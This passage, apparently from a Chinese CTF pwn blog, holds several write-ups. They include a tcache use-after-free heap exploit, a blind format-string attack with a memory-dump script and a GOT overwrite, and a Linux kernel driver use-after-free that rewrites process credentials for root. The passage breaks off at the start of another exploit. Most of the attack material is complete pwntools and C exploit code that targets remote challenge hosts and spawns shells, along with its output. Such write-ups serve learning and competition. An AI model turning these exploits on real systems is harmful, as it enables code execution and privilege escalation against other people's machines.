思路 程序中限制了malloc 和 free 的次数, 存在明显的uaf漏洞, 但是可以首先利用Tcache dup泄露heap 地址,且也使该方法打入tcache 管理头部,也就是堆的头部,修改tcahe的数量为7,在释放堆块的时候就不会由tcache bin来管理.这样可以泄漏libc,再次修改该结构,使bin指向malloc - 8处,下次分配直接修改该地址,realloc调参数打one_gadget
exp-3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 from pwn import * context.log_level='debug' exeFile = 'vn_pwn_easyTHeap' libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "node3.buuoj.cn" remotePort = 28200 LOCAL = 1 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def ad (size ): sla('choice: ' , str (1 )) sla('?' , str (size))def rm (idx ): sla('choice: ' , str (4 )) sla('?' , str (idx))def md (idx, data ): sla('choice: ' , str (2 )) sla('?' , str (idx)) sa(':' , data)def dp (idx ): sla('choice: ' , str (3 )) sla('?' , str (idx))def q (): sla('choice: ' , str (5 )) def exploit (): ad(0x100 ) ad(0x100 ) rm(0 ) rm(0 ) dp(0 ) heap_base = u64(ru('\n' ) + '\x00\x00' ) - 0x260 li('heap_base ' + hex (heap_base)) ad(0x100 ) md(2 , p64(heap_base + 0x10 )) ad(0x100 ) ad(0x100 ) p = p64(0x0 ) p +=p64(0x0700000000000000 ) md(4 , p) rm(0 ) dp(0 ) lib.address = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) - 96 - 0x3ebc40 li('libc base ' + hex (lib.address)) gadget = [0x4f2c5 , 0x4f322 , 0xe569f , 0xe5858 , 0xe585f , 0xef863 , 0x10a38c , 0x10a398 ] one_gadget = lib.address + gadget[1 ] p = p64(0x0 ) p +=p64(0x0700000000000000 ) p = p.ljust(0xB8 , '\x00' ) p += p64(lib.sym['__malloc_hook' ] - 8 ) md(4 , p) ad(0x100 ) p = p64(one_gadget) p += p64(lib.sym['realloc' ] + 8 ) md(5 , p) ad(0x1 ) def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0xe569f execve("/bin/sh", r14, r12) constraints: [r14] == NULL || r14 == NULL [r12] == NULL || r12 == NULL 0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70]) constraints: [[rbp-0x88]] == NULL || [rbp-0x88] == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL 0xe585f execve("/bin/sh", r10, [rbp-0x70]) constraints: [r10] == NULL || r10 == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL 0xe5863 execve("/bin/sh", r10, rdx) constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL 0x10a398 execve("/bin/sh", rsi, [rax]) constraints: [rsi] == NULL || rsi == NULL [[rax]] == NULL || [rax] == NULL '''
AXB_2019_fmt 来源 AXB_2019
难度 4/ 10
简单描述 不给elf文件, 盲打.
vul 1 2 3 4 5 6 7 8 logan@LYXF:~/share/axb_fmt1$ nc node3.buuoj.cn 29458 Hello,I am a computer Repeater updated. After a lot of machine learning,I know that the essence of man is a reread machine! So I'll answer whatever you say! Please tell me:%p %p Repeater:0x804888d 0xffde142f Please tell me:^c
存在字符串漏洞, 输出4bytes的地址, 这是一个32位程序
知识点 fmt vul的各种利用, fmt vul dump文件, fmt vul修改内存.
思路 先使用脚本算出偏移,然后编写dump脚本, 这是一个32 bit的程序,就从0x08048000开始dump内存然后写入本地文件中, 后面就简单得多了, 分析所dump的文件,发现strlen对字符串的长度进行判断, 采用字符串漏洞泄漏libc,随便找一个函数都行,计算偏移,然后再获取system函数, 修改strlen的got地址为system,再输入时输入’;/bin/sh’就行, 注意,因为strlen传入的时候, Repeater:也跟着传入, 在linux bash中以’; ‘来进行分割命令,所以相当于执行两次命令, 一个Repeater:和一个/bin/sh.
利用 计算偏移 这个是我自己写的一个跑偏移脚本, 十分方便,用手数…^_^
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import * context.log_level='debug' remoteIp = "node3.buuoj.cn" remotePort = 29619 LOCAL = 0 maxLen = 0x30 minLen = 0x10 preSendStr = '' recvStr = '' r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() pd32 = lambda x : p32(x).decode() pd64 = lambda x : p64(x).decode() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def calc (payload ): if (preSendStr == '' ): sl(payload) else : sla(preSendStr, payload) if (recvStr != '' ): ru(recvStr) recv = ra() infos = recv.split(', ' ) offset = -1 for info in infos: li(info) offset += 1 if ('0x44434241' == info): return offset return -1 if __name__ == '__main__' : length = 0 ; payload = 'ABCD' + ', %p' * minLen while (True ): if LOCAL: io = process(exeFile) else : io = remote(remoteIp, remotePort) offset = calc(payload) if (-1 != offset): li('---------------------------------------------' ) li('\noffset:' + str (offset)) io.close() break io.close() payload += ', %p' length += 1 if (length > maxLen): li('---------------------------------------------' ) li('not found! maxLen too litile' ) io.close break
跑的操作如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 logan@LYXF:~/share/axb_fmt1$ python calc_fmt_offset.py [+] Opening connection to node3.buuoj.cn on port 29458: Done [DEBUG] Sent 0x45 bytes: 'ABCD, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p\n' [-] Receiving all data: Failed [DEBUG] Received 0x7b bytes: 'Hello,I am a computer Repeater updated.\n' 'After a lot of machine learning,I know that the essence of man is a reread machine!' [DEBUG] Received 0x31 bytes: '\n' "So I'll answer whatever you say!\n" 'Please tell me:' [DEBUG] Received 0xc8 bytes: 'Repeater:ABCD, 0x804888d, 0xffe54d3f, 0xf7f5a53c, 0xffe54d48, 0xf7f365c5, 0x4f, 0x41e54e34, 0x2c444342, 0x2c702520, 0x2c702520, 0x2c702520, 0x2c702520, 0x2c702520, 0x2c702520, 0x2c702520, 0x2c702520\n' '\n'
通过手数, 差一个字节偏移就为8 (0x41e54e34, 0x2c444342), 后面再利用的时候就要得补一字节对其.
编写dump脚本 利用 printf 中的 %s来进行dump, ‘%’ + str(offset + x) + ‘$s’ + p32(target_addr)来调整所dump的参数位置, 这就可以dump出任何内存的值了, 我们知道, linux32位程序,若没有开启pie的话,elf文件就加载到0x08048000起始位置, linux 64位程序就加载到0x400000位置, 所以我们就从0x08048000位置开始dump, 注意 dump出来的数据是以’\x00’结尾的, 每一条数据后面都要加一条‘\x00’,dump为空的也数据也就为 ‘\x00’,循环dump数据,写入文件, 我也是第一次写dump文件,照着ctf-wiki中那个方法, dump感觉太慢了,每次都要重新连接,而这个体是循环输入的,不用每次dump都重新连接,还有,dump的时候,无误了,尽量把IO输出给删了, 极大影响dump的速率,尽最大的关掉, 还有在打远程的时候总是容易断开,如下:
1 2 3 4 5 6 7 8 9 10 11 [*] dumping: 1660/12288 [*] dumping: 2010/12288 [*] dumping: 2140/12288 [*] dumping: 2270/12288 [*] dumping: 2280/12288 [*] dumping: 2310/12288 [*] dumping: 2320/12288 [*] dumping: 2380/12288 [*] dumping: 2390/12288 [*] dumping: 2460/12288 [*] Error.
这就导致dump的数据太少了, 我就改进了一下,添加一个重新连接,继续dump.改进后如下:
1 2 3 4 5 6 7 [*] dumping: 2540/12288 [*] Closed connection to node3.buuoj.cn port 29458 [*] Error. [+] Opening connection to node3.buuoj.cn on port 29458: Done [*] dumping: 2550/12288 [*] dumping: 2560/12288
dump 文件脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 ''' This is a dump file script ''' from pwn import * exeFile = '' libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "node3.buuoj.cn" remotePort = 29458 LOCAL = 1 LIB = 0 offset = 8 + 2 + 2 def getbinary (): data_length = 0x3000 base_addr = 0x08048000 end_addr = base_addr + data_length f = open ('binary' , 'w' ) addr = base_addr isDisConnect = False disConnectMaxTimes = 3 io = remote(remoteIp, remotePort) for i in range (disConnectMaxTimes): io.recvuntil('Please tell me:' ) while addr < end_addr: try : p = 'ABCDE' p += '%' + str (offset) p += '$s' p += 'CBAABCD' p += p32(addr) io.send(p) io.recvuntil('ABCDE' , drop = True ) data = io.recvuntil('CBAABCD' , drop = True ) except EOFError: isDisconnect = True io.close() break if len (data) == 0 : f.write('\x00' ) addr += 1 else : data += '\x00' f.write(data) addr += len (data) if (((addr - base_addr) % 10 ) == 0 ): print ('dumping: ' + str (addr - base_addr) + '/' + str (data_length)) if isDisconnect == True : print ('Error.' ) io = remote(remoteIp, remotePort) isDisconnect = False sleep(0.5 ) f.close() io.close()def exploit (): getbinary() if __name__ == '__main__' : exploit()
然后就静静的等待,若开启输出太多加上是远程dump,可能一个小时都还没dump 10k,尽量关掉输出.
dump文件之后如下:
1 2 3 logan@LYXF:~/share/axb_fmt1$ cat binary ELF�4 `4 (44 �4 � TT�T���� � �4d����hh�h�DDP�td����,,Q�tdR�... ...
IDA分析dump的文件 所dump的文件不能反编译为c语言伪代码,只能看汇编.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 _init_proc LOAD 08048418 00000023 0000000C 00000000 R . . . . . . sub_8048450 LOAD 08048450 00000006 R . . . . . . sub_8048460 LOAD 08048460 00000006 R . . . . . . sub_8048470 LOAD 08048470 00000006 R . . . . . . j_start LOAD 08048480 00000006 . . . . . . . sub_8048490 LOAD 08048490 00000006 R . . . . . . sub_80484A0 LOAD 080484A0 00000006 R . . . . . . sub_80484B0 LOAD 080484B0 00000006 R . . . . . . sub_80484C0 LOAD 080484C0 00000006 R . . . . . . sub_80484D0 LOAD 080484D0 00000006 R . . . . . . sub_80484E0 LOAD 080484E0 00000006 R . . . . . . __gmon_start__ LOAD 080484F0 00000006 R . . . . . . start LOAD 08048500 00000022 . . . . . . . sub_8048530 LOAD 08048530 00000004 00000000 00000000 R . . . . . . sub_8048540 LOAD 08048540 0000002B 00000000 00000000 R . . . . . . sub_80485B0 LOAD 080485B0 0000001E 00000000 00000000 R . . . . . . sub_80485D0 LOAD 080485D0 0000002B R . . . . . . sub_8048760 LOAD 08048760 0000005D 00000010 0000000C R . . . . . . nullsub_1 LOAD 080487C0 00000002 00000000 00000000 R . . . . . . _term_proc LOAD 080487C4 00000014 0000000C 00000000 R . . . . . .
也可以看到,基本的函数也出来了, 但没有发现main函数,找相关逻辑代码吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 LOAD:080486AD lea eax, [ebp-138h] LOAD:080486B3 push eax LOAD:080486B4 call sub_80484D0 LOAD:080486B9 add esp, 10h LOAD:080486BC sub esp, 0Ch LOAD:080486BF push offset aPleaseTellMe ; "Please tell me:" LOAD:080486C4 call sub_8048470 LOAD:080486C9 add esp, 10h LOAD:080486CC sub esp, 4 LOAD:080486CF push 100h LOAD:080486D4 lea eax, [ebp-239h] LOAD:080486DA push eax LOAD:080486DB push 0 LOAD:080486DD call sub_8048460 LOAD:080486E2 add esp, 10h LOAD:080486E5 sub esp, 4 LOAD:080486E8 lea eax, [ebp-239h] LOAD:080486EE push eax LOAD:080486EF push offset aRepeaterS ; "Repeater:%s\n" LOAD:080486F4 lea eax, [ebp-138h] LOAD:080486FA push eax LOAD:080486FB call sub_80484E0 LOAD:08048700 add esp, 10h LOAD:08048703 sub esp, 0Ch LOAD:08048706 lea eax, [ebp-138h] LOAD:0804870C push eax LOAD:0804870D call sub_80484B0 LOAD:08048712 add esp, 10h LOAD:08048715 mov [ebp-240h], eax LOAD:0804871B cmp dword ptr [ebp-240h], 10Eh ; compare length with 10E LOAD:08048725 jbe short loc_8048741 LOAD:08048727 sub esp, 0Ch LOAD:0804872A push offset aWhatYouInputIs ; "what you input is really long!" LOAD:0804872F call sub_8048470 LOAD:08048734 add esp, 10h LOAD:08048737 sub esp, 0Ch LOAD:0804873A push 0 LOAD:0804873C call sub_80484A0
虽然找到,但不知道调用什么函数, 需要去看看符号表.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 extern:0804A06C ; extern extern:0804A06C ; void setbuf(FILE *stream, char *buf) extern:0804A06C extrn setbuf:near extern:0804A070 ; ssize_t read(int fd, void *buf, size_t nbytes) extern:0804A070 extrn read:near extern:0804A074 ; int printf(const char *format, ...) extern:0804A074 extrn printf:near extern:0804A078 ; unsigned int alarm(unsigned int seconds) extern:0804A078 extrn alarm:near extern:0804A07C ; int puts(const char *s) extern:0804A07C extrn puts:near extern:0804A080 ; void exit(int status) extern:0804A080 extrn exit:near extern:0804A084 ; size_t strlen(const char *s) extern:0804A084 extrn strlen:near extern:0804A088 ; int __cdecl _libc_start_main(int (__cdecl *main)(int, char **, char **), int argc, char **ubp_av, void (*init)(void), void (*fini)(void), void (*rtld_fini)(void), void *stack_end) extern:0804A088 extrn __libc_start_main:near extern:0804A08C ; void *memset(void *s, int c, size_t n) extern:0804A08C extrn memset:near extern:0804A090 ; int sprintf(char *s, const char *format, ...) extern:0804A090 extrn sprintf:near extern:0804A094 extrn __imp___gmon_start__:near ; weak extern:0804A094 ; CODE XREF: __gmon_start__↑j
这就需要推断调用什么函数了.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 LOAD:080486AD lea eax, [ebp-138h] LOAD:080486B3 push eax LOAD:080486B4 call sub_80484D0 LOAD:080486B9 add esp, 10h LOAD:080486BC sub esp, 0Ch LOAD:080486BF push offset aPleaseTellMe ; "Please tell me:" LOAD:080486C4 call sub_8048470 // puts函数 LOAD:080486C9 add esp, 10h LOAD:080486CC sub esp, 4 LOAD:080486CF push 100h // length LOAD:080486D4 lea eax, [ebp-239h] LOAD:080486DA push eax // buf LOAD:080486DB push 0 //fd LOAD:080486DD call sub_8048460 //read 函数 LOAD:080486E2 add esp, 10h LOAD:080486E5 sub esp, 4 LOAD:080486E8 lea eax, [ebp-239h] LOAD:080486EE push eax // buf LOAD:080486EF push offset aRepeaterS ; "Repeater:%s\n" //arg 2 LOAD:080486F4 lea eax, [ebp-138h] LOAD:080486FA push eax //buf2 LOAD:080486FB call sub_80484E0 //sprintf函数 LOAD:08048700 add esp, 10h LOAD:08048703 sub esp, 0Ch LOAD:08048706 lea eax, [ebp-138h] LOAD:0804870C push eax //buf2 LOAD:0804870D call sub_80484B0 / /strlen函数,传入buf2 LOAD:08048712 add esp, 10h LOAD:08048715 mov [ebp-240h], eax ; //srlen函数的返回值 LOAD:0804871B cmp dword ptr [ebp-240h], 10Eh ; compare length with 10E LOAD:08048725 jbe short loc_8048741 LOAD:08048727 sub esp, 0Ch LOAD:0804872A push offset aWhatYouInputIs ; "what you input is really long!" LOAD:0804872F call sub_8048470 LOAD:08048734 add esp, 10h LOAD:08048737 sub esp, 0Ch LOAD:0804873A push 0 LOAD:0804873C call sub_80484A0
leak libc 泄漏libc的话,只需泄漏某个函数的got表,就选择sprintf来泄漏吧, 点击sprintf的call sub_80484E0进入plt跳转.
1 2 3 LOAD:080484E0 sub_80484E0 proc near ; CODE XREF: LOAD:080486FB↓p LOAD:080484E0 jmp ds:dword_804A030 LOAD:080484E0 sub_80484E0 endp
点击jmp到sprintf got 表地址
1 LOAD:0804A030 dword_804A030 dd 1C001Fh ; DATA XREF: sub_80484E0↑r
0x0804A030就是sprintf的got表地址了,那么我们就可以通过字符串漏洞泄漏该地址的内容,从而获取到libc中sprintf的地址,strlen也是同样的方法.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 sprintf_got = 0x0804A030 strlen_got = 0x0804A024 offset = 8 p = 'A' p += '%' + str (offset + 1 ) + '$s' + p32(sprintf_got) s(p) sprintf = u32(ru('\xf7' )[-3 :] + '\xf7' ) li('sprintf ' + hex (sprintf))''' select: 2: ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) ''' libc = LibcSearcher('sprintf' , sprintf) libc_base = sprintf - libc.dump('sprintf' ) li('libc_base ' + hex (libc_base)) system = libc_base + libc.dump('system' ) li('system ' + hex (system))
修改strlen的got表内容为system 使用字符串漏洞来进行地址写入, 使用’$hn’s 2字节分两次写入,先写小的再写大的, system的高位地址要比system的低位地址大,则先写小的.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 high_sys = system >> (8 * 2 ) low_sys = system & 0xFFFF li('high_sys ' + hex (high_sys)) li('low_sys ' + hex (low_sys)) pre_len = len ('Repeater:' ) + 1 + 4 + 4 p = 'A' p += p32(strlen_got + 0 ) p += p32(strlen_got + 2 ) p += '%' + str (low_sys - pre_len) + 'c%' + str (offset + 0 ) + '$hn' p += '%' + str (high_sys - low_sys) + 'c%' + str (offset + 1 ) + '$hn' s(p)
get shell 使用’; ‘分割shell命令, 再调用strlen即调用system函数
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from pwn import *from LibcSearcher import LibcSearcher context.log_level='debug' exeFile = '' libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "node3.buuoj.cn" remotePort = 29458 LOCAL = 0 LIB = 0 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def exploit (): sprintf_got = 0x0804A030 strlen_got = 0x0804A024 offset = 8 p = 'A' p += '%' + str (offset + 1 ) + '$s' + p32(sprintf_got) s(p) sprintf = u32(ru('\xf7' )[-3 :] + '\xf7' ) li('sprintf ' + hex (sprintf)) ''' select: 2: ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) ''' libc = LibcSearcher('sprintf' , sprintf) libc_base = sprintf - libc.dump('sprintf' ) li('libc_base ' + hex (libc_base)) system = libc_base + libc.dump('system' ) li('system ' + hex (system)) high_sys = system >> (8 * 2 ) low_sys = system & 0xFFFF li('high_sys ' + hex (high_sys)) li('low_sys ' + hex (low_sys)) pre_len = len ('Repeater:' ) + 1 + 4 + 4 p = 'A' p += p32(strlen_got + 0 ) p += p32(strlen_got + 2 ) p += '%' + str (low_sys - pre_len) + 'c%' + str (offset + 0 ) + '$hn' p += '%' + str (high_sys - low_sys) + 'c%' + str (offset + 1 ) + '$hn' s(p) sl('; /bin/sh' )def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()
Kenel pwn ciscn 2017 baby driver 第一天真正开始做kernel pwn类的题, 于用户空间做的体确实有点不太一样, 利用从python 转向c语言写与驱动交互的程序, 找驱动程序的漏洞, 然后提权为root
知识预备 权限 在linux中每个进程都有它自己的权限,而标示着权限的那些信息,比如uid,gid等都是被放在一个叫cred的结构体当中的,也就是说每个进程中都有一个cred结构,如果能够修改进程的cred的uid和gid为0, 那么该进程的权限就为root权限了. 以下是cred结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 struct cred { atomic_t usage;#ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic;#define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; #ifdef CONFIG_KEYS unsigned char jit_keyring; struct key __rcu *session_keyring; struct key *process_keyring; struct key *thread_keyring; struct key *request_key_auth; #endif #ifdef CONFIG_SECURITY void *security; #endif struct user_struct *user; struct user_namespace *user_ns; struct group_info *group_info; struct rcu_head rcu; };
当我们是root权限的时候,我们的uid是等于0的,另外此版本的cred的大小是0xa8;
SLAB & SLUB kernel中没有libc,但是仍然需要内存的分配和释放,这时就会使用到kmalloc&kfree API(相当于用户态使用的malloc&free)。kmalloc&kfree的实现是通过SLAB或SLUB分配器,现在一般是SLUB分配器。分配器是通过一个多级的结构进行管理。首先有cache层,cache是一个结构,其中保存的对象分为空对象、部分使用的对象和完全使用的对象进行管理。对象就是指内存对象,也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache,每个cache对应一个2的幂次大小的一组内存对象。
SLAB和SLUB都是内核的内存管理机制。为了提高效率,SLAB要求系统暂时保留已经释放的内核对象空间,以便下次申请时不需要再次初始化和分配。但是SLAB比较严格,需要再次申请的数据类型和大小与原先的完全一样,并且不同cache的无法分在同一页内;而SLUB较为宽松,和堆分配机制更为相似。
设备程序分析 驱动中存在一个结构体
1 2 3 4 struct babydev_struct{ char *device_buf; size_t device_buf_len; };
babyopen函数 1 2 3 4 5 6 7 8 9 10 11 int __fastcall babyopen (inode *inode, file *filp) { __int64 v2; _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6 ], 0x24000C0 LL, 0x40 LL); babydev_struct.device_buf_len = 0x40 LL; printk("device open\n" , 0x24000C0 LL, v2); return 0 ; }
babywrite函数 1 2 3 4 5 6 7 8 9 10 11 void __fastcall babywrite (file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; _fentry__(filp, buffer); if ( babydev_struct.device_buf ) { if ( babydev_struct.device_buf_len > v4 ) copy_from_user(babydev_struct.device_buf, buffer, v4); } }
babyread 函数 1 2 3 4 5 6 7 8 9 10 11 void __fastcall babyread (file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; _fentry__(filp, buffer); if ( babydev_struct.device_buf ) { if ( babydev_struct.device_buf_len > v4 ) copy_to_user(buffer, babydev_struct.device_buf, v4); } }
babyioctrl函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 void __fastcall babyioctl (file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; size_t v4; __int64 v5; _fentry__(filp, *(_QWORD *)&command); v4 = v3; if ( command == 0x10001 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0 LL); babydev_struct.device_buf_len = v4; printk("alloc done\n" , 0x24000C0 LL, v5); } else { printk("\x013defalut:arg is %ld\n" , v3, v3); } }
babyrelease函数 1 2 3 4 5 6 7 8 9 int __fastcall babyrelease (inode *inode, file *filp) { __int64 v2; _fentry__(inode, filp); kfree(babydev_struct.device_buf); printk("device release\n" , filp, v2); return 0 ; }
思路 这个从用户态的pwn来看好像漏洞并不明显,但是我们现在是在内核态了,要把用户态的单线程的思维抛开了,从多线程的角度来思考。
首先打开两次设备,通过ioctl将babydev_struct大小为的cred结构体的大小(不同版本kernel的可能不一样,需要通过源码去算);
然后释放其中一个设备,fork出一个新进程,此时这个新进程的cred 的空间就会重新开辟, 然而系统就会把之前大小一样空闲内存空间分配给它,。
第二个打开的文件描述符对这块空间进行写操作,只需要将uid和gid改为0,实现root提权
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <stdlib.h> int main (void ) { int fd_1 = open ("/dev/babydev" , O_RDWR); int fd_2 = open ("/dev/babydev" , O_RDWR); pid_t pid; ioctl (fd_1, 0x10001 , 0xa8 ); if (-1 == fd_1 || -1 == fd_2) { puts ("open babydev failed!\n" ); return -1 ; } close (fd_1); pid = fork(); if (pid == 0 ) { char buf[60 ] = {0 }; write (fd_2, buf, 60 ); system ("/bin/sh" ); }else { wait (); } return 0 ; }
调试 提取vmlinux extract-vmlinux 脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #!/bin/sh check_vmlinux () { readelf -h $1 > /dev/null 2>&1 || return 1 cat $1 exit 0 }try_decompress () { for pos in `tr "$1 \n$2 " "\n$2 =" < "$img " | grep -abo "^$2 " ` do pos=${pos%%:*} tail -c+$pos "$img " | $3 > $tmp 2> /dev/null check_vmlinux $tmp done } me=${0##*/} img=$1 if [ $# -ne 1 -o ! -s "$img " ]then echo "Usage: $me <kernel-image>" >&2 exit 2fi tmp=$(mktemp /tmp/vmlinux-XXX)trap "rm -f $tmp " 0 try_decompress '\037\213\010' xy gunzip try_decompress '\3757zXZ\000' abcde unxz try_decompress 'BZh' xy bunzip2 try_decompress '\135\0\0\0' xxx unlzma try_decompress '\211\114\132' xy 'lzop -d' try_decompress '\002!L\030' xxx 'lz4 -d' try_decompress '(\265/\375' xxx unzstd check_vmlinux $img echo "$me : Cannot find vmlinux." >&2
保存为extract-vmlinux
提取vmlinux, 方便调试
1 ./extract-vmlinux ./bzImage > vmlinux
启动gdb
启动boot.sh获取babydriver的加载基址 使用 cat /proc/moudles或者lsmod
1 2 / # lsmod babydriver 16384 2 - Live 0xffffffffc0000000 (OE)
导入符号表 最后面填写babydriver的基址
1 add-symbol-file ./fs/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
调试qumu 在boot.sh中添加参数如下:
调试 运行程序
在gdb中连接该qemu程序
1 target remote 127.0.0.1:9999
运行如图
先下个断点
那么就和平时调试差不多了,只是调试相对比较慢而已, 下面就不演示了…
太湖杯 2020 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 from pwn import *import os r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) context.log_level='debug' context.terminal = ['tmux' , 'splitw' , '-h' ] elf_path = 'pwn' MODIFY_LD = 0 arch = '64' libc_v = '2.29' ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2' libs_path = '/glibc/' + libc_v + '/' + arch + '/lib' libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6' libc_path = './libc.so.6' if (MODIFY_LD): os.system('cp ' + 